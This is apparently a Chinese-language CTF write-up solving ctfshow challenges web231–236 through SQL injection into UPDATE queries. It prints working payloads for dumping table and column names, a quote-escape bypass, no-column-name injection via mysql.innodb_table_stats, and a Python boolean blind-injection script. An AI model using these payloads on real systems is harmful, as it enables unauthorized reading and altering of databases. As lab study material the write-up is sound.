目录

  1. 1. 前言
  2. 2. web231
  3. 3. web232
  4. 4. web233(布尔盲注)
  5. 5. web234(\转义)
  6. 6. web235(无列名注入)
    1. 6.1. InnoDb引擎
    2. 6.2. 子查询
    3. 6.3. 题目
  7. 7. web236

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

update注入实战论

2023/8/16 Web Sql ctfshow
  |     |   总文章阅读量:

前言

ctfshow web231-236


web231

查询语句

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

是update语句,我们可以修改字段名

password=1',username='a'#&username=1

image-20230816115943129

这样的话整个语句就是执行了update ctfshow_user set pass = '1',username='a'#' where username = '1',#后面被注释

所以回到表单页面,username字段会全部改为a,password会改为1

所以我们可以在这里插入联合查询语句来爆出我们需要的信息

表名

password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1

image-20230816120301108

列名

select group_concat(column_name) from information_schema.columns where table_name='flaga'

image-20230816120554679

字段

select group_concat(flagas) from flaga

image-20230816120912795


web232

查询

$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

加了个md5,闭合一下就可以

password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1

image-20230816121503188

password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')#&username=1
password=1'),username=(select group_concat(flagass) from flagaa)#&username=1

web233(布尔盲注)

查询

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

上题的payload打不进去了,说明password处肯定存在过滤

那我们就从username处注入,考虑进行布尔盲注,用已知的用户名ctfshow试试

password=1&username=ctfshow' and if(1=1,1,0)#

image-20230816123127575

成功执行了

那么接下来就是跑脚本了(from boogipop)

import requests

url = 'http://4bddeb37-663a-42ca-86a1-0101f49d73be.challenge.ctf.show/api/?page=1&limit=10'
flag = ''
i = 0
j = 0
while True:
    head = 1
    tail = 127
    i += 1
    while head < tail:
        j += 1
        mid = (head + tail) >> 1
        # payload=f"ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
        #banlist,ctfshow_user,flag233333,查询表名
        # payload=f"ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))>{mid},1,0)#"
        #查询字段id,flagass233,info
        payload = f"ctfshow' and if(ascii(substr((select group_concat(id,flagass233,info) from flag233333),{i},1))>{mid},1,0)#"
        #答案
        data = {"username": payload, "password": j}
        r = requests.post(url, data=data)
        if "\\u66f4\\u65b0\\u6210\\u529f" in r.text:  # 更新成功
            head = mid + 1
        else:
            tail = mid
    if head != 1:
        flag += chr(head)
        print(flag)
    else:
        break

web234(\转义)

查询语句没变,但是还是不能拿之前的payload硬打

fuzz字典爆破一下发现'被过滤了

这题需要用到\对password参数后的'进行转义,使其成为字符串中的一部分,然后实际闭合的位置在username的第一个'

所以password里的内容为1'where username =,我们需要再注入一个,username=然后就能构造我们需要的语句了

image-20230816130316069

于是构造payload

表名

password=1\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

image-20230816131119449

列名

注意由于过滤了单引号,这里可以用双引号来绕过,也可以直接16进制编码为0x666c6167323361绕过

password=1\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name="flag23a")#
password=1\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#

字段

password=1\&username=,username=(select group_concat(flagass23s3) from flag23a)#

看起来上一题也可以这么打


web235(无列名注入)

查询语句不变

过滤了or'

也就是说information库就用不了了

不过mysql中不只有information库有表格的信息,还有其他的库

参考JohnFrod的博客

InnoDb引擎

从MySQL 5.5.8开始,InnoDB成为其默认存储引擎。而在MySQL 5.6以上的版本中,InnoDb增加了innodb_index_statsinnodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

在MySQL 5.6版本中,可以使用mysql.innodb_table_statsmysql.innodb_table_index这两张表来替换information_schema.tables实现注入,但是缺点是没有列名。

select group_concat(database_name) from mysql.innodb_table_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();

image-20230816171433403

实战中需要注意mysql是否使用了InnoDB作为数据库的引擎

查看MySQL支持及默认的存储引擎:

show engines;

子查询

参考Err0r的博客

上面说了这种注入方式是不能得到列名的,也就是说我们要采用别的方式获取列名

在我们不知道列名的情况下,需要通过union来查询,并且要猜测列数

select 1,2,3 union select * from user;

image-20230816172350710

然后可以用数字进一步查询对应列

select `3` from (select 1,2,3 union select * from user)a;

image-20230816173103347

注:每个派生表都要有他的别名,所以我们要在末尾加上一个a之类的能作为别名的字母

注:查询对应列要加反引号,否则会当数字处理全部输出3

如果反引号被过滤,可以用别名代替

select c from (select 1,2 as b,3 as c union select * from user)a;

image-20230816173731643

同时查询多个列(0x2d为-

select concat(b,0x2d,c) from (select 1,2 as b,3 as c union select * from user)a;

image-20230816173713580


题目

表名

password=1\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database());#

列名(返回的数据有2行,所以要用group_concat)

password=1\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flag23a1)a);#

image-20230816174030506


web236

过滤or'flag

实际测试了下,真的有过滤flag吗,如过?

表名

password=1\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flag23a1)a);#

列名

password=1\&username=,username=(select group_concat(b) from (select 1,2 as b,3 union select * from flaga)a);#